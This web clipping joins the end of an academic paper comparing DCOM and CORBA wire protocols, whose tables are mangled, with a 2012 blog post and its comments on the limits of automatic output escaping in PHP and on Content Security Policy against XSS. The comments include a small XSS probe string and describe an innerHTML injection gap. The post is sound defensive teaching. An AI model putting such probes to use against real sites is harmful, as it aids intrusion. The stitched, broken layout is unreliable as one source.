> **Footnote 3** : Steps 3 and 4 somewhat correspond to the _implicit
> activation_ policy in POA. POA offers a number of policies related to object
> activation. Due to lack of space, we will not discuss them in this paper.
> <img src='img/dcom.middle.80.gif' />  
> **Figure 6** DCOM steps at the middle layer.  
>
> <img src='img/corba.middle.80.gif' />  
> **Figure 7** CORBA steps at the middle layer.  
>
> ## 5\. Bottom Layer: Wire Protocol Architecture
> The bottom layer specifies the wire protocol for supporting the client and
> the server running on different machines. The description in Table 8 shows
> how objects on a remote machine are created and describes the entities
> involved when a method invocation is carried out across machines. Figure 8
> and Figure 9 illustrate the steps for DCOM and CORBA, respectively. The main
> difference between DCOM and CORBA at this layer include _how remote
> interface pointers or object references are represented to convey the server
> endpoint information to the client_ , and _the standard format in which the
> data is marshaled for transmission in a heterogeneous environment_. Note
> that CORBA does not specify a protocol for communication between a client
> and an object server running on ORBs provided by the same vendor. The
> protocol for inter-ORB communication between the same vendor ORBs is vendor
> dependent. However, in order to support the interoperability of different
> ORB products, a _General Inter-ORB Protocol \(GIOP\)_ is specified. A
> specific mapping of the GIOP on TCP/IP connections is defined, and known as
> the _Internet Inter-ORB Protocol \(IIOP\)_. For CORBA, we include the
> descriptions for both IIOP and the Orbix implementation.
> DCOM wire protocol is mostly based on OSF DCE RPC specification \[DCE 95\],
> with a few extensions. That includes remote object reference representation,
> an `IRemUnknown` interface for optimizing the performance of remote
> `IUnknown` method calls, and a _pinging protocol_ \[Brown 96\]. Pinging
> allows a server object to garbage-collect remote object references when a
> remote client abnormally terminates. When a client obtains an interface
> pointer to a remote object for the first time, the ping client code \(see
> Figure 2\) on the client machine adds the object to a ping set and
> periodically sends a ping to the server machine to let it know that the
> client is still alive. Missing a predetermined number of consecutive pings
> indicates that the client has abnormally terminated and the interface
> pointers that it holds can be released. To optimize performance, pings are
> sent on a per-machine basis and in an incremental way. They can also be
> piggy-backed on normal messages. Whenever necessary, the ping functionality
> can also be turned off to reduce network traffic.
> DCOM| CORBA  
> ---|---  
> **Object activation**
[/code]

[code]  1. Upon receiving the delegated `CoCreateInstance()` request, if the
client-side SCM consults local registry and finds out that the `grid` object
should be located on another server machine, it calls a method of the
`IRemoteActivation` RPC interface on the server-side SCM.  
>   2. When the server is started by the server-side SCM, it is associated
> with an object exporter and assigned an object exporter identifier \(OXID\).
> The mapping from the OXID to the RPC binding that can be used to reach the
> server is registered with the server-side OXID resolver.
>   3. When the object stub marshals the IID\_IGrid1 pointer returned by the
> CreateInstance\(\), the pointer is assigned an interface pointer identifier
> \(IPID\), unique within the server. Also, an object reference \(OBJREF\) is
> created to represent the pointer. An OBJREF contains the IPID, OXID,
> addresses of OXID resolvers \(one per protocol\), etc.
>   4. When the marshaled interface pointer is returned to the client side
> through the server-side and client-side SCM's, the object proxy extracts the
> OXID and addresses of OXID resolvers from OBJREF, and calls the
> `IOXIDResolver:ResolveOxid()` method of its local OXID resolver.
>   5. The clients-side OXID resolver checks if it has a cached mapping for
> the OXID; if not, it invokes the `IOXIDResolver:ResolveOxid()` method of the
> server-side OXID resolver which returns the registered RPC binding.
>   6. The client-side resolver caches the mapping, and returns the RPC
> binding to the object proxy. This allows the object proxy to connect itself
> and the interface proxies that it creates to an RPC channel that is
> connected to the object exporter.
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Upon receiving the delegated `grid::_bind()` request, client-side
ORB consults a locator file to choose a machine that supports `grid`, and
sends a request to the server-side ORB via TCP/IP.

>   2. When the server is started by the server-side ORB, a grid object is
> instantiated by the server, the CORBA::Object constructor is called and
> BOA::create\(\) is invoked. Inside the BOA::create\(\), BOA creates a socket
> endpoint, the grid object is assigned a object ID, unique within the server,
> an object reference is created, that contains the interface and the
> implementation names, the reference ID, and the endpoint address. For
> clients talking the IIOP protocol, the server generates an **Interoperable
> Object Reference \(IOR\)** that contains a machine name, a TCP/IP port
> number, and an object\_key. The BOA registers the object reference with the
> ORB.
>   3. When the object reference is returned to the client side, the proxy
> extracts the endpoint address and establishes a socket connection to the
> server.
>

[code]

>  
>  
[/code]  
> **Method invocation**
[/code]

[code]  1. Upon receiving `pIGrid1->get()` call, the interface proxy marshals
the parameters in the **Network Data Representation \(NDR\)** format \[DCE
95\].  
>   2. The RPC channel sends the request to the target object exporter
> identified by the OXID-resolved RPC binding.
>   3. The server-side RPC infrastructure finds the target interface stub
> based on the IPID that is contained in the RPC header.
>   4. After invoking the actual method on the server object, the interface
> stub marshals the return values in the NDR format.
>   5. Upon receiving the delegated `pIGrid1->QueryInterface()` call, the
> object proxy invokes the `IRemUnknown::RemQueryInterface` method on the OXID
> object \[footnote 4\] in the target object exporter. The OXID object then
> invokes the `QueryInterface()` method on \(possibly multiple\) interfaces
> within the exporter.
>   6. Upon receiving the delegated `pIGrid2->Release()` call, the object
> proxy invokes the `IRemUnknown::RemRelease()` method on the OXID object in
> the target object exporter. The OXID object then invokes the `Release()`
> method on \(possibly multiple\) interfaces within the exporter.
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Upon receiving `gridVar->get()` call, the proxy marshals the
parameters in the **Common Data Representation \(CDR\)** format \[CORBA 95\].

>   2. The request is sent to the target server through the established socket
> connection.
>   3. The target skeleton is identified by either the reference ID or
> object\_key.
>   4. After invoking the actual method on the server object, the skeleton
> marshals the return values in the CDR format.
>

[code]

>  
>  
[/code]  
>  
> **Table 8:** The bottom layer description.  
> **Footnote 4** : There is one OXID object per object exporter. Each OXID
> object supports an `IRemUnknown` interface consisting of three methods:
> `RemQueryInterface()`, `RemAddRef()`, and `RemRelease()`. These methods
> allow multiple remote `IUnknown` method calls destined for the same object
> exporter to be bundled to improve performance. All such calls are first
> handled by the OXID object, and then forwarded to the target interface. Note
> that these and other bottom-layer APIs are essentially implementation
> details. Application programmers will not encounter them.
> <img src='img/dcom.bottom.75.gif' />  
> **Figure 8:** DCOM steps at the bottom layer.  
>
> <img src='img/corba.bottom.80.gif' />  
> **Figure 9:** CORBA steps at the bottom layer.  
>
> ## 6\. Summary
> The three-layer step-by-step descriptions have shown that the architectures
> of DCOM and CORBA/Orbix are basically similar. They both provide the
> distributed objects infrastructure for transparent activations and accessing
> of remote objects. Table 9 summarizes the corresponding terms and entities
> in the two architectures. Note that many of the correspondences are only
> approximate. Their main differences are also summarized below. First, DCOM
> supports objects with multiple interfaces and provides a standard
> `QueryInterface()` method to navigate among the interfaces. This also
> introduces the notion of an object proxy/stub dynamically loading multiple
> interface proxies/stubs in the remoting layer. Such concepts do not exist in
> CORBA. Second, every CORBA interface inherits from `CORBA::Object`, the
> constructor of which implicitly performs such common tasks as object
> registration, object reference generation, skeleton instantiation, etc. In
> DCOM, such tasks are either explicitly performed by the server programs or
> handled dynamically by DCOM run-time system. Third, DCOM's wire protocol is
> strongly tied to RPC, but CORBA's is not. Finally, we would like to point
> out that DCOM specification contains many details that are considered as
> implementation issues and not specified by CORBA. As a result, we have used
> the Orbix implementation in many places in order to complete the side-by-
> side descriptions.
> | **DCOM**| **CORBA**  
> ---|---|---  
> Top layer: Basic programming architecture  
> Common base class| `IUnknown`| `CORBA::Object`  
> Object class identifier| `CLSID`| interface name  
> Interface identifier| `IID`| interface name  
> Client-side object activation| `CoCreateInstance()`| a method call/`bind()`
> \[footnote 5\]  
> Object handle| interface pointer| object reference  
> Middle layer: Remoting architecture  
> Name to implementation mapping| Registry| Implementation Repository  
> Type information for methods| Type library| Interface Repository  
> Locate implementation| SCM| ORB  
> Activate implementation| SCM| OA  
> Client-side stub| proxy| stub/proxy  
> Server-side stub| stub| skeleton  
> Bottom layer: Wire protocol architecture  
> Server endpoint resolver| OXID resolver| ORB  
> Server endpoint| object exporter| OA  
> Object reference| OBJREF| IOR \(or object reference\)  
> Object reference generation| object exporter| OA  
> Marshaling data format| NDR| CDR  
> Interface instance identifier| IPID| object\_key  
>  
> **Table 9:** Summary of corresponding terms and entities.  
>
> **Footnote 5** : Orbix and most other CORBA vendors provide `bind()` as a
> way of activating an object and getting its object reference. However,
> bind\(\) is not specified in the CORBA standard. The standard suggests that
> a client obtains an object reference from a naming service or a trader
> service.
> ## Acknowledgment
> The authors would like to express thanks to Richard Buskens and Yow-Jian Lin
> at Bell Labs for their valuable discussions and their assistance in
> prototyping CORBA applications, and to Chandra Kintala \(Bell Labs\), Doug
> Schmidt \(Washington University\), Charlie Kindel \(Microsoft\), Nat Brown
> \(Microsoft\), Don Box \(DevelopMentor\), Prem Devanbu \(AT&T Labs\) for
> their valuable comments.
> ### References
> \[Birrell 84\]
>     A. Birrell and B. J. Nelson, Implementing Remote Procedure Calls, _ACM
> Transactions on Computer Systems_ , Vol. 2, No. 1, Feb 1984, pp.39-59.
> \[Box1 97\]
>     D. Box, Q&A ActiveX/COM, _Microsoft Systems Journal_ , March 1997,
> pp.93-105.
> \[Box2 97\]
>     D. Box, Q&A ActiveX/COM, _Microsoft Systems Journal_ , July 1997,
> pp.93-108.
> \[Brockschmidt 93\]
>     K. Brockschmidt, Inside OLE, Redmond, Washington: Microsoft Press, 1993.
> \[Brown 96\]
>     N. Brown, C. Kindel, Distributed Component Object Model Protocol --
> DCOM/1.0, http://www.microsoft.com/oledev/olecom/draft-brown-
> dcom-v1-spec-01.txt.
> \[Chappell 96\]
>     D. Chappell, Understanding ActiveX and OLE, Redmond, Washington:
> Microsoft Press, 1996.
> \[Chappell 97\]
>     D. Chappell, The Joy of Reference Counting, in _Object Magazine_ , pp.
> 16-17, July 1997.
> \[COM 95\]
>     The Component Object Model Specification,
> http://www.microsoft.com/oledev/olecom/title.htm.
> \[CORBA 95\]
>     The Common Object Request Broker: Architecture and Specification,
> Revision 2.0, July 1995, http://www.omg.org/corba/corbiiop.htm.
> \[DCE 95\]
>     DCE 1.1: Remote Procedure Call Specification, The Open Group,
> http://www.rdg.opengroup.org/public/pubs/catalog/c706.htm.
> \[Grimes 97\]
>     R. Grimes, Professional DCOM Programming, Olton, Birmingham, Canada:
> Wrox Press, 1997.
> \[Iona 96\]
>     Orbix 2.1 Programming guide and Reference guide, Iona technologies Ltd.,
> http://www.iona.com/.
> \[Orbix 96\]
>     The Orbix Architecture - IONA Technologies, November 1996.
> http://www.iona.com/Products/Orbix/Architecture/index.html.
> \[Orfali 97\]
>     R. Orfali, D. Harkey, J. Edwards, Instant CORBA, Wiley Computer
> Publishing, John Wiley & Sons, Inc., 1997.
> \[POA 97\]
>     ORB Portability Joint Submission, Part 1 of 2, orbos/97-04-14,
> http://www.omg.org/library/schedule/Technology\_Adoption.htm .
> \[Rogerson 96\]
>     D. Rogerson, Inside COM, Redmond, Washington: Microsoft Press, 1996.
> \[Schmidt 97\]
>     D. Schmidt, S. Vinoski, Object Interconnectins - Object Adapters:
> Concepts and Terminology \(Column 11\), to appear in SIGS C++ Report
> Magazine, October 1997. http://www.cs.wustl.edu/~schmidt/C++-report-
> col11.ps.gz .
> \[Vinoski 97\]
>     S. Vinoski, CORBA: Integrating diverse applications within distributed
> heterogeneous environments, in IEEE Communications, vol. 14, no. 2, Feb.
> 1997. http://www.iona.com/hyplan/vinoski/ieee.ps.Z.
> \[Wang1 97\]
>     Y. M. Wang, Introduction to COM/DCOM,
> http://akpublic.research.att.com/~ymwang/slides/DCOMHTML/ppframe.htm, 1997.
> \[Wang2 97\]
>     Y. M. Wang, COM/DCOM Resources,
> http://akpublic.research.att.com/~ymwang/resources/resources.htm, 1997.
<img src='img/Temp2_1792.gif' width='24' height='24' />

# Automatic Output Escaping In PHP And The Real Future Of Preventing Cross-Site Scripting \(XSS\) | Pádraic Brady
**Created:**| _6/26/2012 9:31:22 AM_  
---|---  
**Updated:**| _6/26/2012 9:31:22 AM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest xss_  
  

# Automatic Output Escaping In PHP And The Real Future Of Preventing Cross-
Site Scripting \(XSS\)

Even Dexter Knows HTML \(Photo credit: mollyeh11\)

A while back, the Zend Framework 2.0 team decided that automatic escaping for
Zend\View \(a template engine where all templates are written in PHP itself\)
was too unsuitable and potentially confusing to be included. As a result,
Zend\View templates will continue relying on manual escaping against Cross-
Site Scripting \(XSS\) vulnerabilities using a new Zend\Escaper component.

Nevertheless, the decision was not taken lightly. Automatic escaping has a
certain appeal given its goal of removing the need to type escape\(\) all over
your templates. Funny thing, though, is that this is basically its one and
only advantage. The second claimed goal is to remove a factor of human error
\(i.e. forgetting to type escape\(\) somewhere\), however, this hasn’t posed
an issue for me in the past where simple analysis of templates can quickly
locate such omissions. And no, using automatic escaping does not remove the
need to analyse templates for security issues – that’s still needed
regardless. At some point, we seem to have lost the plot and overinflated
these benefits in our minds. So, rather than muddy the waters with confusing
object-proxies and expending too many CPU cycles for too little of a benefit,
ZF 2.0 is back on manual escaping.

In reality, automatic escaping doesn’t resolve all \(or even most\) of your
security problems with XSS. Why? Because all escaping, regardless of how
automatic it claims to be, still needs one fundamental factor to be
successful: manual oversight by a knowledgeable programmer.

Whether you choose manual or automatic escaping, neither will prevent poorly
educated programmers from shooting themselves in the foot with XSS
vulnerabilities because those kinds of programmers just don’t understand XSS.
Worse, it still won’t prevent even really good programmers from making errors
of omission or misjudged context – nobody is perfect and any process needing
human input inevitably experiences human errors.

In the game of mitigating against the risks of XSS, how you escape is not as
important as knowing why you are escaping. That second point, understanding
why you escape data on output, is unfortunately commonly misunderstood. Yet,
without that basic understanding – your choice of how to escape is quite
possibly incorrect and, worse, it allows insecure escaping practices to thrive
as that misunderstanding becomes embedded in what we pass on to other PHP
programmers. We’re self-perpetuating our own ignorance – Stackoverflow and
articles still commonly present escaping notions that are plain wrong.

So, let’s travel down the automatic escaping rabbit-hole to understand why
automatic escaping hasn’t progressed much further than serving as a method for
reducing template verbiage. At the end, I’ll explain what is being done on the
browser-side of XSS prevention to offset the problems ALL programming
languages are having with getting escaping done perfectly.

## What Is Automatic Escaping?

Defining automatic escaping would probably help to explain why manual
oversight of escaping is unavoidable. There are broadly two definitions in use
these days, or perhaps it’s more accurate to call them styles. The first
automates escaping by applying a fixed escaping strategy to all data being
output in a template. This is the “scope limited” style where the auto escaper
is incapable of automatically switching escaping strategies depending on the
context into which the data is being output. Another phrase used to describe
this form of automatic escaping is Poka-Yoke \(a Japanese phrase for “mistake-
proofing”\). A good example of this style is the Twig library used in Symfony
2:

> If you’re using Twig templates, then output escaping is on by default. This
> means that you’re protected out-of-the-box from the unintentional
> consequences of user-submitted code. By default, the output escaping assumes
> that content is being escaped for HTML output.
In a scope limited automatic escaper, the programmer must be able to spot when
the fixed escaping strategy of the escaper is inappropriate to the current
context. So, sticking with Twig templates, when injecting data into a
Javascript string you would need to bypass Twig’s automatic HTML escaping in
order to manually apply Javascript escaping to that string. Without that
manual bypass, Twig’s escaping would have enabled a potential XSS
vulnerability by wrongfully applying HTML escaping to Javascript.

## Context Always Determines Your Escaping Strategy

Briefly, the context of a data insertion determines how a client browser will
interpret that data. For example, data output into a HTML attribute value is,
surprise, in the HTML Attribute context. This means a browser’s HTML renderer
will treat it as a HTML attribute. I know, this revelation is so shocking that
my brain is in danger of exploding. However, let’s imagine that the output is
inserted into an onmouseover attribute. This obviously means that it’s in the
HTML Attribute context. However, it also means that it’s in a Javascript
context – the attribute value is executable by the browser’s Javascript engine
when a mouse-over action is detected for that element. Contexts can be nested
– so can escaping needs.

Each such context demands a specific escaping strategy. Escaping for the HTML
Attribute context is not the same as escaping for the Javascript context. Both
have completely different escaping rules \(i.e. different special characters
and replacement strings\). If you apply HTML escaping \(e.g.
htmlspecialchars\(\)\) to a Javascript string – you completely fail to escape
properly against XSS. Worse, if the output has entered two contexts \(i.e. our
onmouseover attribute value\), you must escape it twice – once for HTML, and
once for Javascript. Oh, and you need to escape them in the correct order:
Javascript first and HTML second. Why? Because attribute values are HTML
unescaped before the browser will interpret the Javascript it might contain.

The main contexts to be aware of are: HTML Body \(element text nodes\), HTML
Attribute, Javascript, CSS, Untrusted URI, GET/POST parameters \(also URI
related\) and DOM. All have varying escaping/validation strategies that may
depend on the actual content also. For example, inserting strings in HTML Body
contexts is quite different from inserting HTML markup into that context – the
latter needs a HTML sanitiser rather than an escaper\! As such, an escaping
strategy may require a validation task instead of, or complimentary to, an
escaping function. Determining context also relies on understanding how your
output is manipulated between a HTTP request being received and having a
client browser render a viewable form\(s\) in response to user interaction or
pre-programmed events. Just because your templates look nicely escaped, it
doesn’t mean that by the time Javascript has finished scrambling them that the
rendered version is escaped properly.

When I said my brain would explode, did I mention my symptoms are contagious?

## Scope-Limited Automatic Escaping

Back to our two automatic escaping styles… In a “scope limited” automatic
escaper, such as Twig’s, having a fixed escaping strategy means only one
thing. You’ll go to Hell if you forget to successfully track contexts and
manually intervene to prevent the automatic one-trick escaper from introducing
a security vulnerability. Being automatic does not make a scope limited
escaper infallable – it just makes it dumber than a programmer. Someone still
has to read the template, ensure the automatic escaping is appropriate, and
manually insert escape calls or disable the auto escaper altogether where it
isn’t appropriate.

Based on the above, scope limited automatic escaping targets just one of the
two manual tasks associated with secure escaping against XSS: typing escape
calls into templates. In essence, its only purpose is to eliminate template
verbiage to the degree that your templates require the single escaping
strategy it exposes by default – usually HTML escaping via
htmlspecialchars\(\). It doesn’t concern itself with the second task of
determining context to ensure the escaping used is safe.

That’s your job.

## Context-Aware Automatic Escaping

The second style of automatic escaping is “context aware” automatic escaping.
In context aware escaping, the escaping mechanism can analyse your templates
to detect the contexts that apply to each output. Based on the contexts
detected, this mechanism can then select an appropriate escaping strategy to
apply. In theory, a reliable implementation of context aware escaping would
eliminate all manual programmer involvement in escaping against XSS which
would, very obviously, render all other forms of manual or automatic escaping
obsolete. An example of such a solution with these claimed benefits is the
Latte template engine used by Nette Framework:

> If the coder omits the escaping a security hole is made. That’s why template
> engines implement automated escaping. The problem is that the web page has
> different contexts and each has different rules for escaping printed data. A
> security hole then shows up if the wrong escaping functions are used. But
> Latte is sophisticated. It features \[the\] unique technology of Context-
> Aware Escaping which recognizes the context in which the macro is placed and
> chooses the right escaping mode. What does that mean? Latte doesn’t need any
> manual work. All is done automatically, consistently and correctly. You
> don’t have to worry about security holes.
Context aware escaping is clearly the next step in automatic escaping but it
remains a juvenile development to be taken with a pinch of salt. Its primary
problem is that the reliability of solutions under this flag is frequently in
question due to the complexity of tracking output context in modern
applications which can combine multiple web technologies and programming
languages. Most context-aware escapers limit themselves to a specific template
language \(almost certainly XHTML-compatible with minimal inline
Javascript/CSS support\) and ignore all other possible influences on the
rendered output.

Several such solutions \(PHP or not\) incorporate potentially fatal design
decisions which can include poor/insecure escaping strategies, opt-in
disabling of escaping, lack of manual overrides to allow programmers select
preferred escaping strategies, and error-prone context determination \(e.g.
due to poor quality HTML and Javascript parsers or a lack of analysis of
outside influences\). All the variants I examined have one or more of these
problems. While these are potentially solveable, the main problem will always
be that a programmer is significantly better equipped to determine context
since they are not blindfolded against what happens outside of the templates a
context-aware escaper is limited to parsing.

Once again, automatic escapers are dumb. They don’t replace your brain.

## Where Is Automatic Escaping Going?

Given the state of automatic escaping in PHP, I’m not too keen about their
direction. As a tool for convenience, they have benefits to reduce typing and
assist forgetful programmers. As a tool to be blindly relied upon – are you
nuts? And that’s the real problem that automatic escaping has: the potential
for blind reliance.

The primary symptom of this sits squarely with the documentation for automatic
escapers. Many are couched in language which may downplay their disadvantages
or neglect to mention them \(or any other conceivable problem\) at all. The
average reader could be forgiven for arriving at a general conclusion that
automatic escaping replaces the need for manual oversight – a bad conclusion
that leads to a false sense of security and a blind spot to potential XSS
vulnerabilities. This is not to say that libraries/frameworks are doing this
deliberately – often it’s simply a case of assuming the reader knows what
secure escaping is and knows enough not to put too much faith into automation.
There is a minority of cases, however, where the documentation is completely
silent as to the downside thus rating all their flaws as the next worst thing
to a reportable security vulnerability – stuff that will never be fixed and
which users are blissfully unaware of and so will use, unknowingly introducing
vulnerabilities into their applications because they trusted the wrong
solution.

This is PHP – presuming everyone knows about good secure escaping, or will
read your source code to find security weaknesses, is the wrong assumption to
make when your programming language has a long established history of sucking
at security, in particular sucking at preventing XSS through escaping.  
All frameworks are in the same boat regardless of their escaping practices –
if manual oversight of escaping is sacrificed, insecure applications will
inevitably be the result. Heck, even with amazingly good oversight it will
still happen – just more rarely. The Homo Sapien programmer is always the
weakest link. We could wait for evolution to make us all insanely obsessive
about examining every potential piece of data exhaustively for security issues
but let’s face it – it ain’t going to happen. Automatic escaping is not our
saviour. It can help, it could help more in time, but it will never become the
final solution to the manually intensive and mind-boggling task called
escaping.

Luckily, we have a helping hand on the way…

## Content Security Policy \(CSP\) To The Rescue\!

There are two obvious problems with preventing XSS that all programmers \(from
all programmer languages\) have battled with since HTML was invented:

  1. Escaping is too complicated; and
  2. HTML standards continue supporting a status-quo where XSS’s greatest ally is HTML itself.

The first is obvious. Escaping is a pain in the ass. You need to educate
yourself about it which most programmers probably don’t. Even when you are
educated, it’s still an error-prone task. Existing escaping strategies used in
the wild are too often insecure, insufficient and downright funny at times
\(using json\_encode\(\) for Javascript escaping is a good one\). Programming
languages barely recognise the problem, e.g. PHP has no native Javascript or
CSS escaper, its URI escaper until recently was out-of-sync with the
applicable RFC \(relax, a minor transgression that just irked OAuth devs\) but
remains character encoding unaware, and its HTML escaper needs a dedicated
wrapper function to completely lock it down and assure security \(see Twig for
a well done example of such a wrapper\) because it’s not specifically for
escaping at all. PHP desperately needs a native escaper class or set of
functions to eliminate all the manual torture and programmer uncertainty.

Let’s face it – the first problem is never going to vanish. We’re stuck with
it forever.

The second refers to how XSS works. Often, XSS relies on injecting inline
Javascript or source file references into HTML documents. The HTML spec allows
this, and HTML5 even allows unquoted attribute values which is well known to
make XSS easier since htmlspecialchars\(\), for example, is worthless in an
unquoted scenario \(i.e. there are no quotes to break out of anyway so
escaping for them is useless in preventing XSS\). HTML doesn’t concern itself
with preventing XSS because it values backwards compatibility and feature
completeness. So, the mountain is definitely NOT coming to Mohammed.

HTML is also never going to vanish. We’re stuck with it forever too.

Unless…we cheat and forcefully alter how the HTML specifications apply to our
applications.

This “cheat” is known as the Content Security Policy \(CSP\). The CSP is a
policy which communicates to clients and browsers, via a X-Content-Security-
Policy header \(X-WebKit-CSP for Chrome/Safari\), how we want them to behave
when parsing HTML. Specifically, it puts limits on which scripts and styles
are to be trusted. For example, the CSP mandates that, by default, all inline
Javascript and CSS in a HTML document is not to be trusted. Browsers which
support the CSP \(Firefox 4+, Chrome, IE10 \(where it’s a WIP\), Safari etc.\)
will therefore refuse to execute any inline scripts or styles – by default.
Where an attacker manages to find a gap in your escaping, and injects an
inline script, style or pretty much any form of inlined naughty stuff – it
will be ignored by the browser and rendered completely harmless. The same goes
for external resources – the CSP can whitelist trusted domains and browsers
will ignore all other external scripts/style resource URIs. You can whitelist
certain inline resources and other useful bits if you are careful – the point
here is to eliminate XSS, not make HTML impossible to use.

By alienating the practice of automatically trusting inline resources in HTML
and external resources as a default, we’re basically flipping a finger at HTML
in the best possible sense by neutering the insecure practices it allows. The
new approach asks that you whitelist the inline and external resources that
should be trusted. It removes the automatic trust-everything problem with HTML
that allows XSS to thrive.

All PHP programmers should consider adopting the Content Security Policy.
While the specification is being drafted by the W3C, and while it will take
time to gain majority coverage as newer browser versions are adopted, it can
be implemented right now with an eye towards the future. This will very
obviously become a best-practice security defense for web applications, so get
used to it being preached to you.

## Conclusion

Escaping is really hard. Automatic escaping can offset some of the risks of
manual omission but this risk offsetting pales in comparison to what happens
when manual oversight is removed from the equation. No matter how automatic
escaping becomes, it needs to become far more complex to deal with how modern
applications actually work – and the complexity needed makes a perfect
solution improbable. In the near term, undermining XSS by removing its ability
to rely on browsers to trust the HTML source markup being rendered is simply
more effective. Good escaping, of any kind, matched with the Content Security
Policy creates a defense in depth approach that will quickly become best
practice in PHP. We’ll always need to practice secure escaping but the CSP
will allow us to tolerate the inevitable mistakes far better if implemented.

Related posts:

  1. A Hitchhiker’s Guide to Cross-Site Scripting \(XSS\) in PHP \(Part 1\): How Not To Use Htmlspecialchars\(\) For Output Escaping
  2. CodeIgniter 2.0.2: Cross-Site Scripting \(XSS\) Fixes And Recommendations
  3. Escaping in ADOdb; does it exist?
  4. Filtering and Escaping Cheat Sheet
  5. Zend Framework 1.5 And What The Future Holds

Share this post\! | Print article |  This entry was posted by padraic on June 17, 2012 at 5:29 pm, and is filed under PHP General, PHP Security, Zend Framework. Follow any responses to this post through RSS 2.0. You can leave a response or trackback from your own site.   
---|---|---  
  * http://hosiplan.kdyby.org Filip Procházka
FYI Nette Framework not only claims it does context-aware escaping the right
way, it really does it. Litteraly thousands of websites and applications are
using it.

  * http://www.survivethedeepend.com Pádraic Brady
You sort of missed the point – there are no perfect automatic escaping tools.
They get you so far – the rest is up to using your brain.

  * Anonymous
“There are no automatic escaping tools”. Really? None? Maybe Nette just
created the very first one, Innovation. I think that’s what they call it.
Unless of course you prove with data, facts, rarer than commentary, that Nette
is indeed, just another wannabe.

It also depends on what the prerequisites are. To say: “this tool auto escapes
everything” is very expansive. But if \*conext\* escaping works fine, then the
objective of an auto escape is not escaping, it’s identifying the context.
Then, an auto escaper saying something more narrow like: auto escaper \(Spec1
+ Spec1\) is reasonable. Again, saying: Auto Escaper \(Spec1, n …\) is
obviously not, but if Nette claims it has solved auto escaping for a limited
set of contexts, then, can you simple disregard it as tosh without example
exploits?

Btw disqus sucks big hairy balls.

  * Markus Fromm
Escaping is really hard, because of that I searched for months for a tool. Now
I will trying it out for my business

  * http://www.mmo-symposium.com rsmarsha
Great article.

I use Codeigniter which has auto escaping and I’m probably guilty more than
once of believing things are fine due to that fact.

I’m reading up on CSP now, thanks for the heads up.

Good timing this actually as my local user group has a talk from an OWASP
member tonight.

  * http://hosiplan.kdyby.org Filip Procházka
No no, I get your point, I see what you want to say – don’t blindly trust your
tools, and thats good point.

But I’m telling you, Latte rocks and does it perfectly. I know how Latte works
and everyone doint it should know it too. That means I’m not trusting blindly,
because I know it works. That trust is based on deep knowledge of the tool.

So in the past 2 year I’ve never ever have given a single thought about
securiting XSS. Because Latte just works, and I know it.

It just works.

  * http://blog.astrumfutura.com Pádraic Brady
Simple example – Nette does not understand JavaScript. If you use something
like innerHTML in a script block within a template, Latte will make no attempt
to HTML escape the value it’s given. Allows you to freely inject arbitrary
HTML. If you used your brain instead, you’d spot this and remember such values
need to be HTML escaped first and JavaScript escaped second.

Nette does not understand how JavaScript influences context. It is NOT perfect
and being unaware of this makes the blind faith I see in the above comments
explain why I note blind reliance on automatic escaping to be a problem.

  * http://twitter.com/adamlundrigan Adam Lundrigan
I went to Nette’s website, saw this \(pic attached\), then ran away screaming
with my fingers in my ears. Pro Tip: avoid anything that claims “perfect
security”…you will thank me later <img src='img/Temp2_943.gif' alt=':)' />

  * http://twitter.com/adamlundrigan Adam Lundrigan
Fantastic article, Padraic\! Of course this means you’ve increased my workload
again, as now I have to go back and review all my templates… \*shakes fist\*
<img src='img/Temp2_942.gif' alt=':P' />

  * http://hosiplan.kdyby.org Filip Procházka
That’s just marketing and I’m not the one who writes it. Btw, its not far away
from thruth <img src='img/Temp2_944.gif' alt=';)' />

  * http://hosiplan.kdyby.org Filip Procházka
Well, that’s good point and we will look at it. Anyways, this is not how we do
stuff, that’s just some your learned habit from different framework. We do
unobstructive javascript.

  * http://www.muze.nl/ Muze
One thing I missed in this article is a discussion of automated XSS attack
detection. While automatic escaping is problematic, detection of a possible
working XSS attack is much more simple to implement. If you can detect this at
the framework level and stop the resulting output and generate a bad request
page instead, the attack is thwarted. This is not an alternative to escaping,
but it does provide a safety network when escaping is forgotten or improperly
implemented.

See http://www.ariadne-cms.org/index.html/news/xss\_detection/ for a
introduction to such an implementation for Ariadne.

  * http://www.survivethedeepend.com Pádraic Brady
There’s nothing messed up in my head and I didn’t pick this bad habit up from
other frameworks. The use of innerHTML is perfectly valid Javascript and can
legally be used inside a HTML script tag. Latte, like all template engines,
cannot control how a user writes HTML and Javascript which is why such simple
cases, while you may not like them, still need to properly recognised and
escaped.

Or Nette could add this to a list of exceptional cases that Latte does not
cover, i.e. inform your users of Latte’s deficiencies so they don’t have to
guess what it doesn’t quite cover?

  * http://www.survivethedeepend.com Pádraic Brady
You’re welcome. My consultancy invoice is in the mail. Please ensure prompt
payment of my exorbitant fees <img src='img/Temp2_944.gif' alt=';)' /> .

  * http://hosiplan.kdyby.org Filip Procházka
Ofcourse it’s valid, but it’s obsolete by unobstructive javascript.

  * http://www.survivethedeepend.com Pádraic Brady
Fine, Latte is a perfect Context-Aware Escaper so long as:  
a. You only use UTF-8  
b. You never use innerHTML in Javascript  
c. ???

I’ll let you guys fill out the rest of the alphabet and post it in Nette’s
documentation. Argument remains the same – automatic escapers are not perfect
and cannot be blindly trusted. You need a Human at the wheel to identify all
these exceptions.

  * http://twitter.com/DavidGrudl David Grudl
I think it’s time to release a “Latte for Zend” to allow Zend developers to
use the best templating system in the world already now <img
src='img/Temp2_943.gif' alt=':-)' />

  * http://twitter.com/DavidGrudl David Grudl
While escaping is quite simple and straightforward operation, detection of XSS
is magic. Why I can’t search ‘xss”>’ ?

  * http://www.muze.nl/ Muze
It’s not that magic. A framework ‘knows’ what arguments are passed to a web
page through the query, cookies, headers, etc. It can detect which of those
might possibly be harmfull – e.g. contain certain characters that can break
out of specific contexts \( quotes, <, etc. \) – and can buffer the output of
the web page to detect if any of those dangerous input parameters are present
in the output unchanged. This may trigger false positives, but only if the
code behind the web page is unsafe to begin with.

  * http://twitter.com/muteor Keith Pope
Facebooks XHP handles auto escaping in a nice way, though not sure how it
would perform without the use of hiphop. XHP wraps everything in a contextual
object essentially giving PHP a full DOM to render for each context, its
certainly an interesting approach to add to the list <img
src='img/Temp2_943.gif' alt=':)' />

  * http://www.survivethedeepend.com Pádraic Brady
Not without flaws I thought. Not too familiar with XHP but remember it used
basic htmlspecialchars\(\) calls, with no optional params set, somewhere in
